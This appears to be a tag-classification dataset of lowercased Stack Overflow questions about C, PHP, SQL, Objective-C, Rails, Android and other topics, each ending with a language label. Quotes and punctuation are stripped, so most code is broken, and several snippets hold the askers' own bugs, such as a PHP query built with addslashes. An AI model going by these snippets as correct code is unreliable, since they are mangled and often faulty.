c -fscanf causing abort trap: 6 on eof  i am new to c and have written a small program that reads a large number of tweets from a file  stores the hashtags in a hashtable and then prints the 10 hashtags that appear most frequently.     the program is now functional but i have been receiving an error that i do not understand  abort trap: 6.     through debugging i have determined that it occurs on the line:   <pre><code>if (fscanf(src_file   %s   current_word) == eof){ </code></pre>   on the last iteration. using printing  i ve seen that the rest of the file is processed properly and that this always occurs when the aforementioned line hits the eof.     what fixed the error was to increase the initial capacity of my char current_word[] variable from 257 to 1000. however  this is far larger than i will need for almost every word i process. can anyone give me any more insight into what is going on with fscanf() when it reaches the end of the file and why i apparently need to allocate it more space      quick note: the code snippet calls functions that are not listed here but they were removed while chasing the error and don t affect the behavior of the error.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;assert.h&gt; #include  hashtable.h  #include &lt;ctype.h&gt;  //note: using 0 for all failiures and 1 for all success  int main(int argc  char **argv){     //opens file via command line argument     file *src_file = fopen(argv[1]   r );;     if (src_file == null){         fprintf(stderr   there was an error opening the file. ) ;         return 0;     }      //define hashtable and malloc space     hashtable* tweet_table = malloc(sizeof(hashtable));     //read word by word and put any hashtags in hashtable     char current_word[257];     int looper = 1;     while (looper == 1){         if (fscanf(src_file   %s   current_word) == eof){             looper = 0;         }         else if (current_word[0] ==  # ){             int i;             for (i = 1; i &lt; strlen(current_word); i+=1){                 current_word[i] = tolower(current_word[i]);             }             assert (put(current_word  tweet_table) == 1);         }     }      //sorts and prints 10 most common tweets     find_frequent(tweet_table);      //close file when finished with operations     fclose(src_file);     printf( all good );      return 1; } </code></pre>,c
textview length  i need to know if there is a limit for the characters in the textview  actually in my application when i am entering the text continuously  at some point it doesn t take any characters.    anyone s help will be appreciated.    thank you.,objective-c
how to make the user enter a positive double variable   i want the user to enter a positive double variable. if they enter anything else  i want the program to loop and continue to ask them to enter a number instead of getting an error and closing. i made an infinite loop with a conditional statement and a break. for some reason if they enter something other than a positive number it infinitely asks for the the radius. can someone help me with this    <pre><code>for(;;) {     cout &lt;&lt;  radius:  ;     cin &gt;&gt; radius;     if(radius &gt; 0){         break;     } } </code></pre>,c++
how can i leave a message in crashlog when i catch an exception   i want to leave a message in crashlog when i catch an exception. does nslog() work,iphone
should i cache a 600kb xml file in memory  or is it sufficient by just using xmltextreader   i am not sure if i should cache an xml file that my application will be using. i don t know how frequently it will be reading from the xml file. please advice. thank you.,.net
group columns into one column  i have a select like   <pre><code>select b.bookingid  c.custname  c.custemail  c.custadd from  booking b inner join customer c on b.custid = c.custid  booking id | custname | custemail | custadd 1          | wes sk   | wes@gmail | 18 blah  </code></pre>   how can i merge columns to produce   <pre><code>booking id | cust 1          | wes sk wes@gmail 18 blah  </code></pre>,sql
count no of site visitors and store it in database   i would like a solution on how to count the no of site visitors for my asp.net web application. i would then like advice on how to store this in a database.     what resources  tutorials  etc can help get me started in this,asp.net
fatal error : call to undefined method only in localhost  given below is my class   <pre><code>class techsoft {     private $dbh;    //database connection    public function __construct($db_con)      {          $this-&gt;dbh = $db_con;      }   //function to select values from a table public function select_rows($table $fieldlist $condition $data) {        $stmt = $this-&gt;dbh-&gt;prepare( select $fieldlist from $table $condition ); $stmt-&gt;execute($data); return $stmt; }//end function //select rooms public function room($listingid $room_id){     $cond_bathroom =  where listingid=  order by room_id asc ;     $data_bathroom= array($listingid);     $select_room=$this-&gt;select_rows(tableprefix. rooms   *  $cond_bathroom $data_bathroom);      while($arr_cat=$select_room-&gt;fetch(pdo::fetch_assoc)){     if($room_id == $arr_cat[ room_id ]){          $sel_cnt= selected ;           }else{              $sel_cnt =  ;              }      echo  &lt;option value= .$arr_cat[ room_id ].   .$sel_cnt. &gt; .$arr_cat[ room_name ]. &lt;/option&gt; ;            }      }//end function     } </code></pre>   when i call this function <code>$obja-&gt;room($listing   );</code> it was quite fine. but now its showing an error like this <code>fatal error: call to undefined method techsoft::room()</code>. but the same seems to be fine in the sever. i have tried all this by passing and skipping parameters <code>$obja-&gt;room($listing $roomid);</code> <code>$obja-&gt;room(     );</code>. it should work actually but im getting fatal error.,php
which is the best way to store a variable number of variables   if i have a <code>for</code> loop that reads from a data file and each time i have a varible number of variables  say <code>jet1_emfr  jet2_emfr  ...</code>  if <code>n</code> is the number of these variables  i used something like   <pre><code>vector&lt;double&gt; jet_emfr; osstringstream oss;  for( int i = 0; i &lt; n; i++ ){ oss &lt;&lt;  jet  &lt;&lt; i &lt;&lt;  _emfr ; jet_emf.push_back(oss.str()); oss.str(  ); } </code></pre>   to store them  is it the best way  and what if i want to associate the name of the variable to its value  i mean  i created a <code>map</code>   <pre><code>map&lt;string tlorentzvector&gt; map_jets;  map_jets[ jet1 ] = jet1_mom; map_jets[ jet2 ] = jet2_mom; map_jets[ jet3 ] = jet3_mom; ... </code></pre>   and used a <code>vector&lt;pair&lt;string double&gt; &gt; jets_pt</code> to associate <code>jet1</code> to a value given by <code>jet1_mom.pt()</code>  now i need to impose a condition that whenever <code>jet_emfr[i] &lt; 0.4</code> i have to erase (or not store) the value of the corresponding <code>jet _mom.pt()</code> in (from) <code>jets_pt</code>.,c++
midi file parsing  how can we do midi file parsing using objective-c      in java for midi file parsing there is package called javax.sound.midi; is there something in objective-c      would be of great help if anybody of you send a reply..     thanks in advance.,objective-c
how can i escape an ampersand in php before sending to a db   wierd thing is happening when i send data to my database. anything after the ampersand is dropped as if it were never typed and everything before it is left intact. can someone please tell me what i should use to preserve this character  regex  php function     thanks    edit:    code:    // the post var contains data entered by the user so could be anything really. this is coming from a wysiwyg editor.    $string = addslashes($_post[ txtarea ]);    mysql_query( insert into... $string  );   <hr>  <pre><code>        wysiwyg.updatetextarea(n);         var form = wysiwyg_core.findparentnode( form   this.geteditor(n));         if(form == null) {             alert( can not submit the content  because no form element found. );             return;         }         form.submit(); </code></pre>   i want to echo the string out of what is being submitted. can someone tell me what i need to place into this case to do that please  is it alert(n)    <hr>   ok guys.. i got it to echo. i m using an ajax interface for this and just echo d the values from there. when i add an ampersand in the the string  i get:   <pre><code>test&amp;amp;&amp;amp; </code></pre>   so.... it s <strong>not</strong> the editor..,php
do i need copy all the files in the folder  values  to the folder  values-zh-rcn  when i make an app internationalization   i need to make an app internationalization  so i create the folder  values-zh-rcn   and copy all the files in the folder  values  to the folder  values-zh-rcn . i translate the files strings.xml and array.xml in the folder  values-zh-rcn  to chinese  but i find i need not translate anything in the files styles.xml and dimens.xml in the folder  values-zh-rcn . can i delete the two files styles.xml and dimens.xml in the folder  values-zh-rcn   thanks!,android
enumerations in objective-c  i m making the jump from java to objective-c. i m wondering if there is a concept analogous to java s enums  that supports implementations of methods. i realize objective-c has plain old c enumerations  but those are really just ints.    i m looking to prevent switch-yards -- java enums would be perfect.,objective-c
rails associations - simple join  new working with rails 4 and have a question on associations.    let s say i have a car   <pre><code>create_table  cars   force: true do |t|     t.string    name      t.integer   owner_id      t.integer   mechanic_id   end </code></pre>   and i have some users which roles are  owner  and  mechanic    <pre><code>create_table  users   force: true do |t|     t.string    name      t.integer   role_id  end </code></pre>   now when i get a list of cars  i want the names of the owner and the mechanic...    i know this sounds easy but i ve been banging my head around the associations and not getting anywhere.    i want to display this:   <pre><code>name   owner   mechanic ferari paul    james </code></pre>   with this schema   <pre><code>user id  first  role 1   paul   owner 2   james  mechanic  car name     owner_id  mechanic_id ferrari  1          2 </code></pre>   any help would be much appreciated.,ruby-on-rails
count user per day who played in a game from the db  i have a database for a small game with a table answers: each user can play and answer max 2 times a day  the table answer is structurized like this:    <code>uid |  answer  |  date</code>    i would like to do a query to get how many user played at least one time per day. i did something like this but this is not working.    <pre><code>select day(date) as n          dayname(date) as m          uid                      count(uid) as c  from answers where year(date) =  2012   group by uid having count( * ) &lt;=2 //count user who played at least 2 times per day group by n //group by day order by n </code></pre>   and i would like to have a result like this:    <code>friday | 9-5-2012 | 1254</code>    <code>saturday | 10-5-2012  |  1427</code> ...    any help appreciated...,sql
accessing web config value from asp:listitem  i m trying to print the value i have stored in the web config as text for a list item.    <pre><code>            &lt;asp:listitem  enabled= true  selected= true  text= web only - &lt;%$ appsettings:subscriptionprice %&gt;                  value= web  /&gt; </code></pre>   will give me: web only - &lt;%$ appsettings:subscriptionprice %>    however  if i remove the web only text and do this:   <pre><code>            &lt;asp:listitem  enabled= true  selected= true  text= &lt;%$ appsettings:subscriptionprice %&gt;                  value= web  /&gt; </code></pre>   i ll get the variable desired. is there a way to have the text and the value from my appsettings,asp.net
simple parameter passing from controller to view  i can t seem to pass a variable all the way from the router to the view. here s my attempt:    in the router:   <pre><code>get  /show/:handle  =&gt;  users#show  </code></pre>   in the controller:   <pre><code>def show   @username = params[:handle] end </code></pre>   in the view:   <pre><code>&lt;p&gt;a &lt;%= @username %&gt; b&lt;/p&gt; </code></pre>   expected result (url  localhost:3000/users/alex ) :   <pre><code>&lt;p&gt;a alex b&lt;/p&gt; </code></pre>   actual source (url  localhost:3000/users/alex ) :   <pre><code>&lt;p&gt;a  b&lt;/p&gt; </code></pre>   does anyone know why this isn t working,ruby-on-rails
objective-c message syntax  while learning objective-c i stumbled across the following code  which i do not understand:   <pre><code>rootviewcontroller *rootviewcontroller = (rootviewcontroller *)[self.navigationcontroller topviewcontroller]; </code></pre>   as far as i understand   <pre><code>[self.navigationcontroller topviewcontroller] </code></pre>   is sending the message (calling the method) <code>topviewcontroller</code> to <code>self.navigationcontroller</code>.    looking in the .h file i only find <code>topviewcontroller</code>being a property  not a function:    <pre><code>@property(nonatomic readonly retain) uiviewcontroller *topviewcontroller; // the top view controller on the stack. </code></pre>   can somebody explain what is happening there     thanks in advance!,objective-c
chrome running html code does not show image and url  i am experimenting with html and i have created a very simple html file containing a call to an image and to a url.  the relevant html code is the following:   <pre><code>&lt;html&gt;      &lt;p&gt;           in this webpage i will display the image i have on my desktop &lt;br/&gt;           in case you want more images like that visit google:  &lt;a href =  http://google.com  &lt;/a&gt;     &lt;/p&gt;      &lt;hr/&gt;         &lt;h2&gt; this is the image section &lt;/h2&gt;         &lt;p&gt; the image is the following:&lt;/p&gt;         &lt;img src =  ../sea-pictures-020.jpg     /&gt;     &lt;hr/&gt;     &lt;p&gt; copyright &lt;/p&gt;  &lt;/html&gt; </code></pre>   the image is stored in the same directory as the html file.    when i open this html file in chrome neither the url nor the image appear.    could you explain it   your advice will be appreciated.,html
view as first responder  hi all i want to know how to make subview added to content view of cell to become firstresponder.when i touch cell tableviewdidselectrow methods get called.i have added customview as subview to cell.i have implemented delegate method which gets called when toches in custom view gets ended.but this method gets called after tableviewdidselectrow  method is called.i want first the delegate method to get called and then tableviewdidselectrow .i have even set customview excluivetouch property to yes.,iphone
changing the tags during do-while loop  so i got a method to loop through an xml document. the document got a number of answervalues which are being extracted and are printed on the screen in the form of uisegmentedcontrols. the code i got right now is:   <pre><code>- (void) traverseelement:(tbxmlelement *)element { static cgfloat y = 300.0f; static cgfloat dynamicheight = 400.0f; static int segmentid = 1;     do {      if([[tbxml elementname:element] isequaltostring:@ wcqanswervalues ]) {          nsstring *segmentitemsstr = [tbxml textforelement:element];         nsarray *segmentitemsarray = [segmentitemsstr componentsseparatedbystring:@ ; ];          answer = [[uisegmentedcontrol alloc] initwithitems:segmentitemsarray];                     answer.frame = cgrectmake(50  y  400  40);         [answer addtarget:self action:@selector(textpopup:) forcontrolevents:uicontroleventvaluechanged];          answer.segmentedcontrolstyle = uisegmentedcontrolstylebar;         answer.tag = segmentid;         [scrollview addsubview:answer];          scrollview.contentsize = cgsizemake(768  dynamicheight);          [formuliertext removefromsuperview];          [answer release];         y += 40.0f;         dynamicheight += 40.0f;         segmentid++;     }  if ([[tbxml elementname:element] isequaltostring:@ formdata ]) {          y = 300.0f;         dynamicheight = 400.0f;         segmentid = 1;     }      // if the element has child elements  process them     if (element-&gt;firstchild)          [self traverseelement:element-&gt;firstchild];      // obtain next sibling element } while ((element = element-&gt;nextsibling));  }  -(void)textpopup:(uisegmentedcontrol *)sender {          if (sender.tag == 1) {         // if the tag of the sender is 1  then do something.         }  } </code></pre>   what i want to achieve is this:    each uisegmentedcontrol that is being printed on the screen has to have a unique number or id so i can separately assign actions to them. what is the best way to achieve this     <strong>edit:</strong> fixed it. i will update my code.,objective-c
corner button to appear and disappear while scrolling the page  i have the following javascript code:   <pre><code>var $window = $(window)    $document = $(document)    button = $( .button-ctus );  button.css({   opacity: 1  });  $window.on( scroll   function() {   if (($window.scrolltop() + $window.height()) == $document.height()) {     button.stop(true).animate({       opacity: 0     }  250);   } else {     button.stop(true).animate({       opacity: 1     }  250);   } }); </code></pre>   in this code the right corner button disappears when you scroll down to the bottom of the page.       however i would like to have this button hiding in the middle of the page where there is a part related to this button.      in other words  to have this button disappear when the related part of the page is visible in the screen and appear when the related part is not visible on the page.,javascript
graph program in c  i want to write a code in which i want to know how much time is needed to move from one point to another.    input        1) first line(input) is showing the maximum time required to reach    2) second line(second and third input) shows the intial position.    3)third line(fourth and fifth input) shows the final position.    4)fourth line shows the time taken to travel one step in left   right   up and down .    output an integer denoting the time needs to reach  if not able to reach in time output a string valar codulis. output the answer of each testcase on newline.    but my program is not running like this . why     <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt;  int main() {     int c  d  e  f  b;     scanf( %d   &amp;b);     printf( \n );     scanf( %d   &amp;c);     scanf( %d   &amp;d);     printf( \n );     scanf( %d   &amp;e);     scanf( %d   &amp;f);     printf( \n );     int g  h  i  j;     scanf( %d   &amp;g);     scanf( %d   &amp;h);     scanf( %d   &amp;i);     scanf( %d   &amp;j);      int k  l  m  n  o;     e - c == k;     f - d == l;     if (e - c &gt;= 0  f - d &gt;= 0)     {         m = k*h;         n = l*i;     }     else if (e - c &lt;= 0  f - d &gt;= 0)     {         m = k*g;         n = l*i;     }     else if (k &gt;= 0  l &lt;= 0)     {         m = k*h;         n = l*j;     }     else     {         m = k*g;         n = l*j;     }     o = m + n;     if (b &gt;= o)     {         printf( \n %d   o);     }     else     {         printf( valar codulis );     } } </code></pre>   note:i am a beginner.,c
convert enter key to space in php   i have this string :   <pre><code>$msg =  a:1509 b:54 1.ns:22 2.tr:56 3.md:547 4.sts:22 5.sr:15  ; </code></pre>   it would show normal horizontal string. but the variable separated by enter key....  how to convert the enter key to space. thanks,php
php session_start after outputting html  i ve read everywhere that in order for sessions to work properly  <code>session_start</code> must be called before outputting any html.    for example  this question: <a href= https://stackoverflow.com/questions/8812754/cannot-send-session-cache-limiter-headers-already-sent >&quot;cannot send session cache limiter - headers already sent&quot;</a>    however  this example does not do that and it works:   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt;  &lt;head&gt;   &lt;title&gt;counting with the session array&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form action= counter-session.php  method= get &gt; &lt;input type= submit  name= count  value= count &gt; &lt; php    session_start();    if (! isset($_session[ counter ]))       $count = 0;    else       $count = $_session[ counter ];    $count = $count + 1;    $_session[ counter ] = $count;    echo  count is $count ;  &gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   that is  the counter increments as expected. how come     addition question: is it true that once <code>session_destroy</code> is called  any further data stored into <code>$_session</code> will not be saved (ie. further changes to <code>$_session</code> will not be reflected the next time we use the <code>$_session</code> variable from another page),php
image with in select tag in html  is it possible to place an image in a <code>&lt;select&gt;</code> dropdown list      i tried the following piece of code    <pre><code>&lt;select name= selection &gt;     &lt;option&gt;&lt;img src= dbdesign.jpg  alt= noimage /&gt;list1&lt;/option&gt;     &lt;option&gt;&lt;img src= dbdesign.jpg  alt= noimage /&gt;list2&lt;/option&gt; &lt;/select&gt; </code></pre>   the output shows <strong>list1</strong> and <strong>list2</strong> but is not showing <strong>noimage</strong>  which is the alternative to src of image.,html
c numeric code validator  i m new to c and programming in general  so i ve studied a bit and wanted to make a simple program that validates personal numeric codes from my country. this is the program:   <pre><code>#include &lt;stdio.h&gt;  int validatecnp(char cnp[13]);  int main(int argc  const char * argv[]) {     char cnp[13];     printf( introduceti cnp-ul:\n );     scanf( %s   cnp);         if(validatecnp(&amp;cnp[0]) == 1) {     printf( cnp valid );         } else {             printf( cnp invalid );         }       return 0; }  int validatecnp(char cnp[13]) {      char verif[13];     int intverif[12]  intcnp[13];     int i  checksum = 0;     strcpy(&amp;verif[0]   279146358279 );      for (i = 0; i&lt;11; i++){         intverif[i] = (unsigned)verif[i] - 48;     }      for (i=0; i&lt;12; i++) {         intcnp[i] = cnp[i] - 48;     }      for (i=0; i&lt;11; i++) {         checksum += intcnp[i] * intverif[i];     }      checksum %= 11;      if (checksum == intcnp[12]) {         return 1;     } else {      return 0;     } } </code></pre>   sample output   <pre><code>introduceti cnp-ul: 1650116398203 (lldb)  </code></pre>   it also seems that when it converts strings to int arrays  it screws up the last element   <pre><code>printing description of intverif: (int [12]) intverif = {   [0] = 2   [1] = 7   [2] = 9   [3] = 1   [4] = 4   [5] = 6   [6] = 3   [7] = 5   [8] = 8   [9] = 2   [10] = 7   [11] = 32767 } printing description of intcnp: (int [13]) intcnp = {   [0] = 1   [1] = 6   [2] = 5   [3] = 0   [4] = 1   [5] = 1   [6] = 6   [7] = 3   [8] = 9   [9] = 8   [10] = 2   [11] = 0   [12] = 0 } </code></pre>   could someone point out what i m doing wrong  i ve tried different approaches  none seemed to work.,c
new() keyword in the base declaration statement in c#  i wonder about below new() keyword. new() is in the base declaration statement along with idisposable where c : dbcontext and idisposedtracker.    but i wonder about new() expression. is this an anonymous base class declaration     but notice a couple of arrow that i marked next to new(). those curly brackets are owned by public class repositorybase  not by new().    what is new() here    <pre><code>namespace personrepository {     public class repositorybase&lt;c&gt; : idisposable where c : dbcontext  idisposedtracker  new()     -&gt;{         public repositorybase()         {             datacontext.database.createifnotexists();         }          private c _datacontext;          public virtual c datacontext         {             get             {                 if (_datacontext == null || _datacontext.isdisposed)                 {                     _datacontext = new c();                     allowserialization = true;                     //disable proxycreationdisabled to prevent the  in order to serialize the parameter  add the type to the known types collection for the operation using serviceknowntypeattribute  error                 }                  return _datacontext;             }         }          //partly omitted          public void save()         {             datacontext.savechanges();         }          public void dispose()         {             if (datacontext != null) datacontext.dispose();         }     }&lt;-       } </code></pre>,c#
setting mysql auto_increment_offset and auto_increment_increment per database or per table basis   is it possible to set mysql auto_increment_offset and auto_increment_increment per database or per table basis,mysql
css: div text wrap around floated div  i am trying to create a site that has a fixed width content div and a floating div in the blank space on the right of the page  like so:   <pre><code>&lt;html&gt; &lt;div style= width:150px;float:right;border:thin black solid &gt; lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. ut wisi enim ad minim veniam.&lt;/div&gt;  &lt;div style= width:400px &gt;   lorem ipsum dolor sit amet  consectetuer adipiscing elit  sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.    ut wisi enim ad minim veniam  quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat  vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. &lt;/div&gt;  &lt;/html&gt; </code></pre>   this works fine  but when the page is re sized too small either the left div jumps down or the text within it does not start wrapping around the right div until its about halfway through it.    i would like the test within the left div to wrap around the float is the page width is too small.    what am i missing,css
how to create instance of a class through list  i m working on a python project  where there are a bunch of classes created already. i will be asking the user to enter which class to be executed (i.e.  the name of the class  whose list will be shown to him).    after he chooses a choice  i would like to create an instance of the class requested by the user and show the appropriate output.    the scenario is like this...   <pre><code>    my class definitions go up here...       classlist = { a : aclass   b : bclass   c : cclass } for i in iter(classlist):    print i x = raw_input( enter class name:  )  get the user input and store it.      i m stuck here. have to create an instance for the requested class. i.e.  have to create an instance to aclass if the user entered a (classlist[a])     </code></pre>   a procedure  i know  but vague is to use switch case or if-else to check that input and create instance for the corresponding class. but  i m new to python  so i want to know if there is any other way of achieving this in a more elegant manner,python
equivalent for linkedhashmap in python  <a href= http://java.sun.com/j2se/1.5.0/docs/api/java/util/linkedhashmap.html  rel= noreferrer >linkedhashmap</a> is the java implementation of a hashtable like data structure (dict in python) with predictable iteration order. that means that during a traversal over all keys  they are ordered by insertion. this is done by an additional linked list maintaining the insertion order.    is there an equivalent to that in python,python
how do i break multivalued attribute into different attributes  for eg if i have an attribute named phone which always have 2 values. how do i create a new table with 2 attributes of phone no. and an attributed named personname,sql
call new intent(actvity) from fragment retaining left navigation  call new intent(actvity) from fragment retaining left navigation    i have used navdrawer as leftmenu in my android application which renders the fragemnts on the right content. i have refered the link  (<a href= https://github.com/jamesmontemagno/xam.navdrawer/blob/master/sample/navdrawer/activities/homeactivity.cs  rel= nofollow >https://github.com/jamesmontemagno/xam.navdrawer/blob/master/sample/navdrawer/activities/homeactivity.cs</a>) for navdrawer.    the scneario is when application starts the navigation bar  dispalys 2 fragemtns in the right content. each fragment is associated with the menu option and the menu option is dispalyed in the right corner at the top.     item.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;menu xmlns:android= http://schemas.android.com/apk/res/android  &gt; &lt;item   android:id= @+id/riskprofile    android:title= @string/riskprofile  /&gt;  &lt;item   android:id= @+id/placeorder    android:title= @string/placeorder  /&gt;  &lt;item   android:id= @+id/fixappointment    android:title= @string/fixappointment /&gt;  &lt;item   android:id= @+id/addopportunity    android:title= @string/addopportunity  /&gt; &lt;/menu&gt; </code></pre>   itemone.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8   &gt; &lt;menu xmlns:android= http://schemas.android.com/apk/res/android  &gt; &lt;item   android:id= @+id/computer    android:title= @string/computer  /&gt; &lt;item   android:id= @+id/phone    android:title= @string/phone   /&gt; &lt;item     android:id= @+id/placeorder      android:title= @string/placeorder  /&gt; &lt;/menu&gt; </code></pre>   fragment a uses item.xml.   <pre><code>public override void oncreateoptionsmenu(imenu menu  menuinflater menuinflater) {         menuinflater.inflate(resource.menu.items  menu);         base.oncreateoptionsmenu(menu  menuinflater); } </code></pre>   fragment b uses itemone.xml.   <pre><code>public override void oncreateoptionsmenu(imenu menu  menuinflater menuinflater) {         menuinflater.inflate(resource.menu.itemone  menu);         base.oncreateoptionsmenu(menu  menuinflater); } </code></pre>   fragment a uses item.xml. fragment b uses itemone.xml. both these fragment s have duplicate menu item (placeorder)  so when both these fragments are loaded in the right content of navigation drawer  the right content displays the single option menu at the right top in such a way that it displays the duplicate item once.    below is the code for each fragment which displays the single menu option at the right top corner.   <pre><code>public override void onprepareoptionsmenu(imenu menu) {         for (int i = 0; i &lt; menu.size(); i++)         {             for (int j = i + 1; j &lt; menu.size(); j++)             {                 if (menu.getitem(i).itemid == menu.getitem(j).itemid)                 { menu.getitem(i).setvisible(false); }             }         } } </code></pre>  <h2>fragment a onoptionsitemselected.</h2>  <pre><code>public override bool onoptionsitemselected(imenuitem item) {         base.onoptionsitemselected(item);           switch (item.itemid)         {             case  resource.id.addopportunity:                 // toast .maketext(this.view   you selected phone    toastlength.short).show();                 break;              case resource.id.fixappointment:                 // toast.maketext(basecontext   you selected computer     toastlength.short).show   ();                 break;              case resource.id.placeorder:                 activity = new activity();                 try                 {                     var intent = new intent(activity  typeof(placeorderview));                     activity.startactivity(intent);                 }                 catch(exception e)                 {                     throw new exception();                 }                 //startactivity(typeof(placeorderview));                 // androidappapplication.instance.initialize(activityview.placeorderview  null);                 //var view = layoutinflater.inflate(resource.layout.loginview  null  false);                 //this.initialize(view  androidappapplication.instance.loginviewmodel);                 // toast.maketext(basecontext   you selected gamepad   toastlength.short).show();                 break;              case resource.id.riskprofile:                 // toast.maketext(basecontext   you selected camera   toastlength.short).show();                 break;         }          return base.onoptionsitemselected(item);     } </code></pre>  <h2>fragment b onoptionsitemselected.</h2>  <pre><code>public override bool onoptionsitemselected(imenuitem item)     {         base.onoptionsitemselected(item);          switch (item.itemid)         {             case resource.id.computer :                 // toast .maketext(this.view   you selected phone    toastlength.short).show();                 break;              case resource.id.phone:                 // toast.maketext(basecontext   you selected computer   toastlength.short).show();                 break;              case resource.id.placeorder:                 activity = new activity();                  var intent = new intent(activity  typeof(placeorderview));                 activity.startactivity(intent);                 // toast.maketext(basecontext   you selected gamepad   toastlength.short).show();                 break;         }          return base.onoptionsitemselected(item);     } </code></pre>   so the questions are:    1) when i select the option menu item the application life cycle calls both the fragment onoptionsitemselected event. is this the correct behavior of android application     2) when i select the place order item it should display a new activity screen unloading the fragment and should also have the capability of retaining the left navigation bar. is it possible,android
javascript regex replace inner quotes  i m trying to fix an inline javascript snippet with reg ex to be rewritten on an input field.    i have single quotes that wrap the inner double quotes and i want to convert the inner quotes to be single instead of double but i only want to convert them when the code appears as nested quotes.    right now i m doing the conversion for all instances of the quote which works but i might run into another problem.  i ll attach my code below.    javascript   <pre><code>$(document).ready(function() {     $( .submit ).bind( click   function(e) {         var yourstring = $( textarea ).val();         yourstring = yourstring.replace(/ /g      );         yourstring = yourstring.replace(/&amp;quote;/g   \  );         yourstring = yourstring.replace(/&amp;lquote;/g   \  );         yourstring = yourstring.replace(/&amp;rquote;/g   \  );         yourstring = yourstring.replace(/&amp;#34/g   \  );         yourstring = yourstring.replace(/&amp;#8220;/g   \  );         yourstring = yourstring.replace(/&amp;#8221;/g   \  );         yourstring = yourstring.replace(/&amp;#34;/g   \  );         alert(yourstring)     }); });​ </code></pre>   html   <pre><code>&lt;textarea style= width:400px;height:300px; &gt; function(  );  &lt;a onclick= $( .text ).append( test ); &gt;click me&lt;/a&gt; &lt;br/&gt; &amp;lquote;test quotes&amp;rquote;  &amp;quot; generic quotes &amp;quot; &lt;/textarea&gt;  &lt;input type= submit  class= submit &gt; </code></pre>   to be more specific i m trying to get    <pre><code>&lt;a onclick= $( .text ).append( test ); &gt;click me&lt;/a&gt; </code></pre>   to look like   <pre><code>&lt;a onclick= $( .text ).append( test ); &gt;click me&lt;/a&gt; </code></pre>,javascript
adding a header to uitableview programmatically  how would i add this feature programmatically  i m not sure what i would search to find this. i know how to add the ibaction but not the code to generate this feature highlighted in the picture. is it a custom cell or a divider s    <img src= https://i.stack.imgur.com/sbmwlm.png  alt= http://i40.tinypic.com/hthhdl.png >,ios
sql update each row until none of them are 0  i m trying to use the following code to update a column in each of my rows until none of them are 0 (the default value). here s my code:   <pre><code> update person  while  = 0  set team = 1  where team = 0; </code></pre>,sql
what ios framework contains cgimagerelease   what ios framework contains cgimagerelease     the <a href= http://developer.apple.com/library/ios/#documentation/graphicsimaging/reference/cgimage/reference/reference.html  rel= nofollow >documentation</a> says it is in applicationframework  but i thought that was an osx framework.,ios
issues in uitabbar with sidemenu  i created tab bar controller programmatically in objective c and i need to implement the side bar menu.is it possible to implement the side bar menu in tab bar controller    <pre><code>- (bool)application:(uiapplication *)application didfinishlaunchingwithoptions:(nsdictionary *)launchoptions  {     // override point for customization after application launch.     self.tabbarcontroller =[[uitabbarcontroller alloc]init];     //initialize view controller and speciality     uiviewcontroller *viewcontroller1=[[homeview alloc]init];     uiviewcontroller *viewcontroller2=[[speciality alloc]init];     uiviewcontroller *viewcontroller3=[[activity alloc]init];     uiviewcontroller *viewcontroller4 =[[notification alloc]init];     uiviewcontroller *viewcontroller5 =[[profile alloc]init];     self.tabbarcontroller.viewcontrollers=[nsarray arraywithobjects:viewcontroller1 viewcontroller2 viewcontroller3 viewcontroller4 viewcontroller5  nil];     self.window.rootviewcontroller =self.tabbarcontroller;     self.tabbarcontroller.tabbar.bartintcolor =  [uicolor colorwithred:0.376 green:0.729 blue:0.318 alpha:1.000];     self.window.backgroundcolor = [uicolor whitecolor];     [self.window makekeyandvisible];     return yes; } </code></pre>,ios
js regexp union of expressions  tell me how to unite the two expressions into one. i want to use in the user s validator in angular 4   <pre><code>forbiddenvalidator (control: formcontrol) {      let login = control.value as string;      if (login &amp;&amp; login.length&gt; 0) {        if (login.match (/ ^ [0-9] / g) .length&gt; 0) {          return {            forbidden: true          }        }        if (login.match (/ [^ a-z0-9] / gi) .length&gt; 0) {          return {            forbidden: true          }        }      }      return null;    } </code></pre>,javascript
unable to remove 2nd instance of a value within a string  i know that the <code>str_replace( )</code>  will remove an instance of a string.    but how do i remove just one instance of a string within a string.     below is the example of a url address  i only want to remove the first instance of the  exampledirecotry/`   <pre><code>www.example/exampledirectory/exampledirectory/index.php  </code></pre>   i need to first test that there are two instance of exampledirectory/ and if so  remove one of them.   <pre><code>$url  = www.example/exampledirectory/exampledirectory/index.php   if ($url ==  )  {   $newurl  = str_replace($url       exampledirectory/ );  } </code></pre>,php
unable to typecast to linq entity base class  i have generated linq to sql entity classes using the generator in visual studio 2010.   <pre><code>[global::system.data.linq.mapping.tableattribute(name= dbo.address )]     public partial class address : inotifypropertychanging inotifypropertychanged         {          //all the generated methods are here    } </code></pre>   then i create an interface  itask   <pre><code>  public interface itask   {       //some interface methods go here   } </code></pre>   finally i create my class   <pre><code>class myclass : address  itask {     //implement interface methods } </code></pre>   elsewhere in my unit tests i create a myclass object the following happens   <pre><code>    myclass temp=new myclass();     address adr=(address)temp;     adr.gettype();//returns myclass when i watch the var in debugger     datacontext dc=new datacontext();//the linq data context     dc.addresses.insertonsubmit(adr);//object reference not set      //to an instance of an object nullreferenceexception     itask task=(itask)temp;     temp.callinterfacemethods();//works fine  iam able to call interface methods </code></pre>   i am a c++ programmer  this is part of my first c# assignment. what am i doing wrong  the above would be perfectly valid in c++.    thanks.    david,c#
